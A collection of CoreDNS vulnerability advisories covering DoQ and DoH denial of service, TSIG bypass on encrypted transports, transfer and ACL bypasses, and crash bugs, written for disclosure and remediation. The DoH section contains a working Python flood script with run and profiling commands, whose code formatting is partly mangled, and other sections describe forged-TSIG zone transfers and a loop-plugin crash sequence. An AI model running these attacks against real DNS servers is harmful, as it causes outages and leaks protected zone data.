Summary CoreDNS' DNS-over-QUIC (DoQ) server can be driven into large goroutine and memory growth by a remote client that opens many QUIC streams and stalls after sending only 1 byte. Even with a small configured quic { workerpoolsize ... }, CoreDNS still spawns a goroutine per accepted stream (workers + waiters) and active workers can block indefinitely in io.ReadFull() with no per-stream read deadline, enabling unauthenticated remote DoS via memory exhaustion/OOM-kill.
Details CoreDNS' DoQ server uses a global worker pool (streamProcessPool) to limit concurrent stream processing, but when the pool is full it still spawns a goroutine per accepted stream that waits to acquire a worker token: select { case s.streamProcessPool <- ...: go ...; default: go ... wait for token ... } (core/dnsserver/serverquic.go)
Additionally, the DoQ message framing reads are blocking io.ReadFull() calls with no per-stream read deadline: readDOQMessage() reads the 2-byte length prefix and message body via io.ReadFull() (core/dnsserver/serverquic.go)
This allows an attacker to pin all workers by sending 1 byte (so io.ReadFull() blocks waiting for the second byte of the DoQ length prefix), while also creating an unbounded backlog of goroutines waiting for a worker token.
Note: this appears to be a result of an incomplete fix/regression for CVE-2025-47950 (GHSA-cvx7-x8pj-x2gw).
PoC 1. Adjust COREDNSBIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./doq-dos-repro.py 3. Expected sample output: Start CoreDNS Corefile: /tmp/vh-f003-doq-mem-regression/Corefile Log: /tmp/vh-f003-doq-mem-regression/coredns.log
Baseline sample (idle) rsskib=49380 gogoroutines=17
Build + run partial-stream flooder go: downloading golang.org/x/net v0.43.0 go: downloading golang.org/x/crypto v0.41.0 go: downloading go.uber.org/mock v0.5.2 go: downloading github.com/stretchr/testify v1.11.1 go: downloading golang.org/x/sys v0.35.0 go: downloading github.com/pmezard/go-difflib v1.0.0 go: downloading github.com/davecgh/go-spew v1.1.1 go: downloading gopkg.in/yaml.v3 v3.0.1
Candidate sample (during attack) rsskib=137968 gogoroutines=15557
Flooder output opened conns=60 streamsperconn=256 totalstreams=15360
Wrote results /tmp/vh-f003-doq-mem-regression/results.json
OK DoQ flood caused goroutine/RSS growth despite workerpoolsize.
Impact Unauthenticated remote DoS on an encrypted DNS transport via goroutine/RSS growth leading to OOM-kill/crash and service outage.
Summary
CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.
This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.
Details
The vulnerable flow is in plugin/pkg/doh/doh.go:
- RequestToMsg() dispatches GET requests to requestToMsgGet(): - plugin/pkg/doh/doh.go:79-89 - requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg(): - plugin/pkg/doh/doh.go:99-108 - base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message: - plugin/pkg/doh/doh.go:121-130
Relevant snippet:
go func requestToMsgGet(req http.Request) (dns.Msg, error) { values := req.URL.Query() b64, ok := values["dns"] if !ok { return nil, fmt.Errorf("no 'dns' query parameter found") } if len(b64) != 1 { return nil, fmt.Errorf("multiple 'dns' query values found") } return base64ToMsg(b64[0]) }
func base64ToMsg(b64 string) (dns.Msg, error) { buf, err := b64Enc.DecodeString(b64) if err != nil { return nil, err }
m := new(dns.Msg) err = m.Unpack(buf)
return m, err }
By contrast, the POST path applies a bounded read before unpacking:
go func toMsg(r io.ReadCloser) (dns.Msg, error) { buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536)) if err != nil { return nil, err } m := new(dns.Msg) err = m.Unpack(buf) return m, err }
So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.
In addition, the HTTPS server is created in core/dnsserver/serverhttps.go:87-92 without an explicit early GET-path size guard in this path:
go srv := &http.Server{ ReadTimeout: s.ReadTimeout, WriteTimeout: s.WriteTimeout, IdleTimeout: s.IdleTimeout, ErrorLog: stdlog.New(&loggerAdapter{}, "", 0), }
As a result, oversized DoH GET request targets are processed through:
1. HTTP request-line parsing 2. URL query parsing / unescaping 3. DoH GET extraction 4. base64 decoding 5. DNS message unpacking
before the request is rejected.
Root cause
The root cause is missing early size validation on the DoH GET path.
More specifically:
requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets. The extracted dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound. base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection. The POST path already has an explicit bounded read, but GET does not have an equivalent pre-decode bound.
This creates a pre-validation resource-amplification path for DoH GET.
PoC
Local test setup
This was reproduced locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.
Create a self-signed certificate:
bash openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \ -keyout key.pem -out cert.pem \ -subj "/CN=127.0.0.1"
Create this Corefile:
txt https://127.0.0.1:8443 { whoami log errors tls cert.pem key.pem pprof 127.0.0.1:6060 }
Run CoreDNS:
bash ./coredns -conf Corefile
Proof-of-concept script
python #!/usr/bin/env python3 import argparse import base64 import collections import concurrent.futures import http.client import ssl import time
def sendone(host, port, path, timeout): ctx = ssl.createunverifiedcontext() conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx) try: conn.request("GET", path, headers={ "Accept": "application/dns-message", "Connection": "close", }) resp = conn.getresponse() resp.read() return resp.status except Exception as e: return f"ERR:{type(e).name}" finally: try: conn.close() except Exception: pass
def main(): ap = argparse.ArgumentParser() ap.addargument("--host", default="127.0.0.1") ap.addargument("--port", type=int, default=8443) ap.addargument("--decoded-kib", type=int, default=720) ap.addargument("--workers", type=int, default=64) ap.addargument("--requests", type=int, default=5000) ap.addargument("--timeout", type=float, default=5.0) args = ap.parseargs()
raw = b"A" (args.decodedkib 1024) b64 = base64.urlsafeb64encode(raw).rstrip(b"=").decode() path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}") print(f"[+] decoded bytes = {len(raw):,}") print(f"[+] encoded chars = {len(b64):,}") print(f"[+] request-target length = {len(path):,}") print(f"[+] workers = {args.workers}, requests = {args.requests}") print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")
started = time.time() results = collections.Counter()
with concurrent.futures.ThreadPoolExecutor(maxworkers=args.workers) as ex: futs = [ ex.submit(sendone, args.host, args.port, path, args.timeout) for in range(args.requests) ] for i, fut in enumerate(concurrent.futures.ascompleted(futs), 1): results[fut.result()] += 1 if i % 10 == 0 or i == args.requests: print(f"[{i}/{args.requests}] {dict(results)}")
elapsed = time.time() - started print("\n[+] done") print(f"[+] elapsed = {elapsed:.2f}s") print(f"[+] summary = {dict(results)}")
if name == "main": main()
Run the PoC:
bash python3 pocdohgetoversizehttps.py \ --host 127.0.0.1 \ --port 8443 \ --decoded-kib 720 \ --workers 64 \ --requests 5000
Profiling commands used during reproduction
CPU profile:
bash (curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpuattack.pb.gz &) ; \ sleep 1 ; \ python3 pocdohgetoversizehttps.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \ wait
go tool pprof -top ./coredns cpuattack.pb.gz
Heap / allocation profiles:
bash curl -s http://127.0.0.1:6060/debug/pprof/heap -o heapbefore.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocsbefore.pb.gz
python3 pocdohgetoversizehttps.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heapafter.pb.gz curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocsafter.pb.gz
go tool pprof -top -base heapbefore.pb.gz ./coredns heapafter.pb.gz go tool pprof -top -base allocsbefore.pb.gz ./coredns allocsafter.pb.gz
Reproduction results
The issue was confirmed using the following:
CoreDNS 1.14.2 linux/amd64 go1.26.1
PoC payload characteristics:
decoded payload size: 737,280 bytes base64url-encoded dns length: 983,040 request-target length: 983,055
Observed request outcome:
5000 / 5000 requests returned 400 Bad Request total runtime for the 5000-request run: 18.22s
The important point is that the requests are rejected only after expensive processing has already happened.
CPU profile highlights
The CPU profile captured during the attack showed significant time in:
net/http.readRequest net/url.ParseQuery / net/url.QueryUnescape / net/url.unescape github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg encoding/base64.(Encoding).DecodeString Go GC worker paths
Representative cumulative values from the captured profile included:
github.com/coredns/coredns/core/dnsserver.(ServerHTTPS).ServeHTTP → 10.91s github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88s github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88s github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50s encoding/base64.(Encoding).DecodeString → 3.46s net/http.readRequest → 10.57s net/url.(URL).Query / ParseQuery / QueryUnescape → 7.38s runtime.gcBgMarkWorker and related GC paths were also heavily active
This demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.
Allocation profile highlights
Allocation profiling showed very large transient allocation volume caused by the rejected requests:
total allocspace: 26,756.48 MB
Top contributors included:
net/textproto.(Reader).readLineSlice → 19,668.19 MB net/textproto.(Reader).ReadLine → 3,738.84 MB encoding/base64.(Encoding).DecodeString → 2,766.16 MB
Within the CoreDNS DoH GET path specifically:
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MB github.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MB github.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MB
Heap delta (inusespace) also showed live growth attributable to this path, including:
encoding/base64.(Encoding).DecodeString → 7,629.75 kB
Memory observations
Runtime memory monitoring showed a clear increase in peak resident usage during the attack:
baseline VmHWM / VmRSS before load was approximately 55,864 kB observed VmHWM during testing reached approximately 146,100 kB
So even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.
Impact
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.
Impact includes:
elevated CPU consumption large transient allocations increased garbage-collection pressure higher peak resident memory usage degraded throughput and responsiveness denial of service risk on memory-constrained or heavily loaded deployments
This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.
The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.
Suggested remediation
A robust fix should address both stages of the problem:
1. Apply an early bound on the DoH GET request target / raw query length before expensive query parsing. 2. Enforce an encoded-length and decoded-length limit for the dns parameter before calling DecodeString(). 3. Preserve equivalent size constraints across GET and POST paths.
A minimal hardening direction would be:
reject oversized GET requests before req.URL.Query() on the DoH path reject dns values whose encoded length exceeds the maximum valid DNS message encoding reject any decoded payload larger than the supported DNS message size before unpacking
Summary CoreDNS' tsig plugin can be bypassed on non-plain-DNS transports because it trusts the transport writer's TsigStatus() instead of performing verification itself. In the attached PoC, plain DNS/TCP correctly rejects an invalid TSIG (NOTAUTH), while the same invalid-TSIG request is accepted over DoT (tls://) and DoH (https://), allowing a client without the shared secret to satisfy require all. The same bug class affects DoH3, DoQ, and gRPC.
Details The tsig plugin decides whether an incoming TSIG was valid by consulting w.TsigStatus(): tsigStatus := w.TsigStatus(); if tsigStatus != nil { ... NOTAUTH ... } (plugin/tsig/tsig.go)
Two affected transports are shown directly in the PoC: - DoH: DoHWriter.TsigStatus() always returns nil (core/dnsserver/https.go), and the HTTP server passes unpacked DNS messages directly into the plugin chain. - DoT: the TLS server builds a dns.Server without setting TsigSecret (core/dnsserver/servertls.go), unlike plain DNS/TCP/UDP which sets TsigSecret: s.tsigSecret (core/dnsserver/server.go).
The same transport-family bug pattern also appears on other transports: - DoH3 reuses the DoH writer path (core/dnsserver/serverhttps3.go -> core/dnsserver/https.go), so it inherits the same TsigStatus() == nil behavior. - DoQ uses DoQWriter.TsigStatus() error { return nil } (core/dnsserver/quic.go). - gRPC uses gRPCresponse.TsigStatus() error { return nil } (core/dnsserver/servergrpc.go).
The attached PoC was kept deliberately small (baseline TCP+DoT+DoH only) for convenience.
PoC 1. Adjust COREDNSBIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./tsig-repro.py 3. Expected output: Start CoreDNS Corefile: /tmp/vh-f001-tsig-doh-dot-bypass/Corefile Log: /tmp/vh-f001-tsig-doh-dot-bypass/coredns.log
Baseline (plain TCP) notsig rcode=5 (expected REFUSED=5) invalidtsig rcode=9 (expected NOTAUTH=9)
Candidate (DoT) notsig rcode=5 (expected REFUSED=5) invalidtsig rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
Candidate (DoH) notsig http=200 rcode=5 (expected REFUSED=5) invalidtsig http=200 rcode=0 ancount=1 (expected NOERROR=0 and ancount>0)
OK TSIG bypass reproduced: plain TCP rejects invalid TSIG, while DoT and DoH accept it. Results: /tmp/vh-f001-tsig-doh-dot-bypass/results.json
Impact Unauthenticated remote clients can bypass TSIG-based authentication/authorization on first-class encrypted transports, enabling access to whatever the deployment intended to restrict behind tsig { require all } (e.g., zone data/privileged queries, etc.).
Summary CoreDNS' transfer plugin can select the wrong ACL stanza when both a parent zone and a more-specific subzone are configured. A permissive parent-zone transfer rule can override a restrictive subzone rule (name-dependent), allowing an unauthorized client to perform AXFR/IXFR for the subzone and retrieve its zone contents.
Details In plugin/transfer/transfer.go, stanza selection is implemented by longestMatch(), which is documented as "longest zone match wins", but it actually chooses the winner via a lexicographic string comparison: - zone := "" // longest zone match wins (plugin/transfer/transfer.go) - if z > zone { zone = z; x = xfr } (plugin/transfer/transfer.go)
So, a parent zone like example.org. can beat a child zone like a.example.org. purely due to lexicographic ordering ("example.org." > "a.example.org."), even though the child zone is the longer/more specific suffix match. The bypass is data-dependent (some child labels will win, some will lose), making it operationally non-intuitive.
PoC 1. Adjust COREDNSBIN in the PoC to point at right path (see the top-level const definitions for tunables as well) 2. Run python3 ./acl-repro.py 3. Expected output: Baseline (only subzone transfer rule) axfr a.example.org.: rcode=5 ancount=0 (expected REFUSED=5)
Candidate (add permissive parent transfer rule) axfr a.example.org.: rcode=0 ancount=5 (expected NOERROR=0 with ancount>0)
OK Subzone transfer ACL bypass reproduced: adding a permissive parent-zone stanza can override a stricter child-zone stanza due to lexicographic zone selection.
Impact Unauthorized zone transfer can expose full zone contents to a remote network client that was intended to be denied by a subzone-specific transfer policy.
Summary
The gRPC, QUIC, DoH, and DoH3 transports in CoreDNS incorrectly handle TSIG authentication.
For gRPC and QUIC, CoreDNS checks whether the TSIG key name exists in the config, but does not actually verify the TSIG HMAC. If the key name matches, tsigStatus remains nil and the tsig plugin treats the request as "verified".
For DoH and DoH3, the issue is worse: TSIG is not verified at all. The DoH response writer has TsigStatus() hardcoded to return nil, so any request containing a TSIG record is treated as authenticated, even if the key name is invalid and the MAC is garbage.
As a result, attackers may bypass TSIG authentication on affected transports and access TSIG-protected functionality such as AXFR/IXFR zone transfers, dynamic updates, or other TSIG-gated plugin behavior.
Details
In servergrpc.go and serverquic.go, the TSIG handling checks whether the TSIG key name exists, but does not call dns.TsigVerify().
Relevant code before fix:
go if tsig := msg.IsTsig(); tsig != nil { if s.tsigSecret == nil { w.tsigStatus = dns.ErrSecret } else if , ok := s.tsigSecret[tsig.Hdr.Name]; !ok { w.tsigStatus = dns.ErrSecret } // key found -> nothing happens -> tsigStatus stays nil -> "verified" }
This means that for gRPC and QUIC, a request with a known TSIG key name but an invalid MAC is accepted as authenticated.
PRs #7943 and #7947 partially addressed this area by adding key name checks for gRPC and QUIC, but did not add HMAC verification.
The DoH and DoH3 paths have an even weaker failure mode. In https.go, DoHWriter.TsigStatus() returned nil unconditionally:
go func (d DoHWriter) TsigStatus() error { return nil }
In serverhttps.go, the incoming DNS message is unpacked from the HTTP request and passed directly into ServeDNS() without checking msg.IsTsig(), without looking up the TSIG key name, and without calling dns.TsigVerify().
The same pattern exists in the DoH3 path in serverhttps3.go.
The effective DoH/DoH3 flow before the fix was:
1. HTTP or HTTP/3 request arrives. 2. DNS message is unpacked from the request. 3. A DoHWriter is created. 4. The message is passed to ServeDNS(). 5. The tsig plugin checks w.TsigStatus(). 6. TsigStatus() returns nil. 7. nil is interpreted as successful TSIG verification.
This means that for DoH and DoH3, CoreDNS did not even require a valid TSIG key name. Any TSIG record was enough to satisfy the tsig plugin, regardless of key name or MAC contents.
PoC
Setup: built CoreDNS from master at commit 12d9457 and also verified against the v1.14.2 release binary. Configured a single test zone with 9 records and tsig { require all }.
Listeners used the same TSIG configuration and key:
- TCP on port 1053, using the normal dns.Server path where TSIG HMAC verification works correctly - gRPC on port 1443, using manual TSIG handling - DoH on port 8443 - DoH3 with the same TSIG configuration
gRPC / QUIC behavior
A test client sent AXFR requests over gRPC with a valid TSIG key name but forged MAC values. The same requests were sent over TCP for comparison.
| MAC used | gRPC | TCP | |----------|------|-----| | 32 zero bytes | BYPASS, 9 records returned | BADSIG | | 32 random bytes | BYPASS, 9 records returned | BADSIG | | HMAC computed with wrong secret | BYPASS, 9 records returned | BADSIG | | truncated to 16 bytes | BYPASS, 9 records returned | BADSIG | | single byte 0x41 | BYPASS, 9 records returned | BADSIG | | empty MAC | BYPASS, 9 records returned | BADSIG | | wrong key name + zero MAC | REJECTED, NOTAUTH/BADKEY | REJECTED, NOTAUTH/BADKEY |
6 out of 7 forged TSIG requests bypassed authentication over gRPC and returned a full zone transfer. The only rejected case was the wrong key name, because the gRPC path checked whether the key name existed.
The same class applied to QUIC.
DoH / DoH3 behavior
For DoH, a test client sent DNS queries over HTTPS POST to /dns-query with forged TSIG records. These requests were also compared against TCP.
| TSIG variant | DoH result | TCP result | |-------------|------------|------------| | 32 zero bytes | BYPASS, NOERROR | BADSIG | | 32 random bytes | BYPASS, NOERROR | BADSIG | | HMAC computed with wrong secret | BYPASS, NOERROR | BADSIG | | truncated to 16 bytes | BYPASS, NOERROR | BADSIG | | single byte 0x41 | BYPASS, NOERROR | BADSIG | | empty MAC | BYPASS, NOERROR | BADSIG | | bad key name | BYPASS, NOERROR | NOTAUTH/BADKEY | | no TSIG record | REJECTED, REFUSED | REJECTED, REFUSED |
7 out of 8 cases bypassed authentication over DoH. Every request containing a TSIG record was accepted, including requests with an invalid key name.
An AXFR request over DoH with a forged TSIG record using a zero-byte MAC returned the full test zone.
The same pattern applies to DoH3 because it used the same DoHWriter TSIG behavior and did not verify TSIG before passing the message into the plugin chain.
To confirm that the tsig plugin itself was enforcing policy, requests with no TSIG record were rejected with REFUSED. The bypass happens because the transport layer reports successful TSIG verification when verification either did not happen or only checked the key name.
Impact
An unauthenticated network attacker may bypass TSIG authentication on affected CoreDNS transports.
Depending on configuration, this may allow an attacker to:
- perform AXFR or IXFR zone transfers over affected transports - dump TSIG-protected zone data - submit dynamic DNS updates if enabled - bypass other TSIG-gated plugin behavior - authenticate over DoH or DoH3 without knowing a valid TSIG key name
The DoH and DoH3 variants have a lower exploitation bar than gRPC and QUIC because the attacker does not need to know a configured TSIG key name. Any TSIG record is treated as valid.
Affected transports
- gRPC - QUIC - DoH - DoH3
Workarounds
If upgrading is not immediately possible:
- Disable gRPC, QUIC, DoH, and DoH3 listeners where TSIG authentication is required. - Restrict network-level access to affected transport ports to trusted sources only. - Avoid exposing TSIG-protected functionality such as AXFR, IXFR, or dynamic updates over affected transports.
Fix
Affected transports must verify TSIG before passing the DNS message into the plugin chain.
For requests containing a TSIG record, the transport should:
1. check whether TSIG secrets are configured 2. verify that the TSIG key name exists 3. call dns.TsigVerify() against the original wire-format message 4. store the resulting status in the response writer 5. return that status from TsigStatus()
A successful key name lookup alone is not sufficient. A nil TSIG status must only be returned after successful HMAC verification.
A logical vulnerability in CoreDNS allows DNS access controls to be bypassed due to the default execution order of plugins. Security plugins such as acl are evaluated before the rewrite plugin, resulting in a Time-of-Check Time-of-Use (TOCTOU) flaw.
Impact
In multi-tenant Kubernetes clusters, this flaw undermines DNS-based segmentation strategies.
Example scenario: 1. ACL blocks access to .admin.svc.cluster.local 2. A rewrite rule maps public-name → admin.svc.cluster.local 3. An unprivileged pod queries public-name 4. ACL allows the request 5. Rewrite exposes the internal admin service IP
This allows unauthorized service discovery and reconnaissance of restricted internal infrastructure.
Patches Has the problem been patched? What versions should users upgrade to?
Workarounds
- Reorder the default plugin.cfg so that: - rewrite and other normalization plugins run before acl, opa, and firewall - Ensure all access control checks are applied after name normalization.
An issue was discovered in CoreDNS through 1.10.1. There is a vulnerability in DNS resolving software, which triggers a resolver to ignore valid responses, thus causing denial of service for normal resolution. In an exploit, the attacker could just forge a response targeting the source port of a vulnerable resolver without the need to guess the correct TXID.
CoreDNS through 1.10.1 enables attackers to achieve DNS cache poisoning and inject fake responses via a birthday attack.
Summary
A Denial of Service (DoS) vulnerability was discovered in the CoreDNS DNS-over-QUIC (DoQ) server implementation. The server previously created a new goroutine for every incoming QUIC stream without imposing any limits on the number of concurrent streams or goroutines. A remote, unauthenticated attacker could open a large number of streams, leading to uncontrolled memory consumption and eventually causing an Out Of Memory (OOM) crash — especially in containerized or memory-constrained environments.
Impact
- Component: serverquic.go - Attack Vector: Remote, network-based - Attack Complexity: Low - Privileges Required: None - User Interaction: None - Impact: High availability loss (OOM kill or unresponsiveness)
This issue affects deployments with quic:// enabled in the Corefile. A single attacker can cause the CoreDNS instance to become unresponsive using minimal bandwidth and CPU.
Patches
The patch introduces two key mitigation mechanisms:
- maxstreams: Caps the number of concurrent QUIC streams per connection. Default: 256. - workerpoolsize: Introduces a server-wide, bounded worker pool to process incoming streams. Default: 1024.
This eliminates the 1:1 stream-to-goroutine model and ensures that CoreDNS remains resilient under high concurrency. The new configuration options are exposed through the quic Corefile block:
quic { maxstreams 256 workerpoolsize 1024 }
These defaults are generous and aligned with typical DNS-over-QUIC client behavior.
Workarounds
If you're unable to upgrade immediately, you can: - Disable QUIC support by removing or commenting out the quic:// block in your Corefile - Use container runtime resource limits to detect and isolate excessive memory usage - Monitor QUIC connection patterns and alert on anomalies
References
- RFC 9250 - DNS over Dedicated QUIC Connections - quic-go GitHub project - QUIC stream exhaustion class of vulnerabilities (related)
Credit
Thanks to @thevilledev for disclovering this vulnerability and contributing a high-quality fix.
For more information
Please consult our security guide for more information regarding our security process.
CoreDNS is a DNS server that chains plugins. Prior to version 1.14.0, multiple CoreDNS server implementations (gRPC, HTTPS, and HTTP/3) lack critical resource-limiting controls. An unauthenticated remote attacker can exhaust memory and degrade or crash the server by opening many concurrent connections, streams, or sending oversized request bodies. The issue is similar in nature to CVE-2025-47950 (QUIC DoS) but affects additional server types that do not enforce connection limits, stream limits, or message size constraints. Version 1.14.0 contains a patch.
Executive Summary
A Denial of Service vulnerability exists in CoreDNS's loop detection plugin that allows an attacker to crash the DNS server by sending specially crafted DNS queries. The vulnerability stems from the use of a predictable pseudo-random number generator (PRNG) for generating a secret query name, combined with a fatal error handler that terminates the entire process.
--- Technical Details
Vulnerability Description
The CoreDNS loop plugin is designed to detect forwarding loops by performing a self-test during server startup. The plugin generates a random query name (qname) using Go's math/rand package and sends an HINFO query to itself. If the server receives multiple matching queries, it assumes a forwarding loop exists and terminates.
The vulnerability arises from two design flaws:
1. Predictable PRNG Seed: The random number generator is seeded with time.Now().UnixNano(), making the generated qname predictable if an attacker knows the approximate server start time.
2. Fatal Error Handler: When the plugin detects what it believes is a loop (3+ matching HINFO queries), it calls log.Fatalf() which invokes os.Exit(1), immediately terminating the process without cleanup or recovery.
Affected Code
File: plugin/loop/setup.go go // PRNG seeded with predictable timestamp var r = rand.New(time.Now().UnixNano())
// Qname generation using two consecutive PRNG calls func qname(zone string) string { l1 := strconv.Itoa(r.Int()) l2 := strconv.Itoa(r.Int()) return dnsutil.Join(l1, l2, zone) }
File: plugin/loop/loop.go go func (l Loop) ServeDNS(ctx context.Context, w dns.ResponseWriter, r dns.Msg) (int, error) { // ... validation checks ... if state.Name() == l.qname { l.inc() // Increment counter }
if l.seen() > 2 { // FATAL: Terminates entire process log.Fatalf("Loop (%s -> %s) detected for zone %q...", ...) } // ... }
File: plugin/pkg/log/log.go go func Fatalf(format string, v ...any) { logf(fatal, format, v...) os.Exit(1) // Immediate process termination }
Exploitation Window
The loop plugin remains active during the following conditions:
| Condition | Window Duration | Attack Feasibility | |-----------|-----------------|-------------------| | Healthy startup | 2 seconds | Requires precise timing | | Self-test failure (upstream unreachable) | 30 seconds | HIGH - Extended window | | Network degradation | Variable | Depends on retry behavior |
Attack Scenario
Primary Attack Vector: Network Degradation
When the upstream DNS server is unreachable (network partition, misconfiguration, outage), the loop plugin's self-test fails repeatedly. During this period:
1. The loop plugin remains active for up to 30 seconds 2. Each self-test attempt generates an HINFO query visible in CoreDNS logs 3. An attacker with log access (shared Kubernetes cluster, centralized logging) can observe the qname 4. The attacker sends 3 HINFO queries with the observed qname 5. The server immediately crashes
┌──────────────────────────────────────────────────────────────────────────┐ │ ATTACK TIMELINE │ ├──────────────────────────────────────────────────────────────────────────┤ │ T+0s CoreDNS starts, PRNG seeded with UnixNano() │ │ T+0.5s Self-test HINFO query sent (visible in logs) │ │ T+2s Self-test fails (upstream timeout) │ │ T+3s Retry #1 - counter resets, qname unchanged │ │ T+5s Retry #2 - attacker observes qname in logs │ │ T+5.1s ATTACKER: Send HINFO #1 → counter = 1 │ │ T+5.2s ATTACKER: Send HINFO #2 → counter = 2 │ │ T+5.3s ATTACKER: Send HINFO #3 → counter = 3 → os.Exit(1) │ │ T+5.3s SERVER CRASHES │ └──────────────────────────────────────────────────────────────────────────┘
---
Impact Assessment
Attack Requirements
| Requirement | Notes | |-------------|-------| | Network Access | Must be able to send UDP packets to CoreDNS port | | Log Access | Required to observe the qname (common in shared clusters) | | Timing | Extended window during network degradation | | Authentication | None required |
Real-World Impact
CoreDNS is the default DNS server for Kubernetes clusters. A successful attack would:
1. Disruption: All DNS resolution fails within the cluster 2. Cascading Failures: Services unable to discover each other 3. Restart Loop: If attack persists, CoreDNS enters crash-restart cycle 4. Data Plane Impact: Application-level failures across the cluster
References
- CoreDNS GitHub: https://github.com/coredns/coredns - Loop Plugin Documentation: https://coredns.io/plugins/loop/ - Go math/rand Documentation: https://pkg.go.dev/math/rand
CoreDNS is a DNS server written in Go. Prior to 1.14.4, a single 28-byte UDP datagram can crash the CoreDNS process when the proxyproto plugin is enabled because plugin/pkg/proxyproto/proxyproto.go PacketConn.ReadFrom handles a PROXY v2 header with non-UDP transport such as family byte 0x11, reassigns addr from a nil readFrom result after parseProxyProtocol errors, and calls addr.String() in the warning log before ServeDNS recovery applies. This issue is fixed in version 1.14.4.
A flaw was found in coreDNS. This flaw allows a malicious user to redirect traffic intended for external top-level domains (TLD) to a pod they control by creating projects and namespaces that match the TLD.
CoreDNS is a DNS server written in Go. Prior to 1.14.5, the CoreDNS rewrite plugin supports edns0 rewrite rules with an optional revert flag, and two response rules, edns0SetResponseRule and edns0ReplaceResponseRule[T] in plugin/rewrite/edns0.go, call res.IsEdns0() and immediately dereference the returned dns.OPT without a nil check when a downstream plugin returns a response with no OPT record. A remote, unauthenticated client can send a single ordinary DNS query matching a rewrite edns0 <local|nsid|subnet> <set|append|replace> ... revert rule, causing ResponseReverter in plugin/rewrite/reverter.go to panic, return SERVFAIL, and degrade availability, or crash the CoreDNS process if the debug directive disables recovery. This issue is fixed in version 1.14.5.
A flaw was found in coreDNS. This flaw allows a malicious user to reroute internal calls to some internal services that were accessed by the FQDN in a format of <service>.<namespace>.svc.
CoreDNS k8sexternal headless AXFR can emit an empty transfer batch that panics the transfer plugin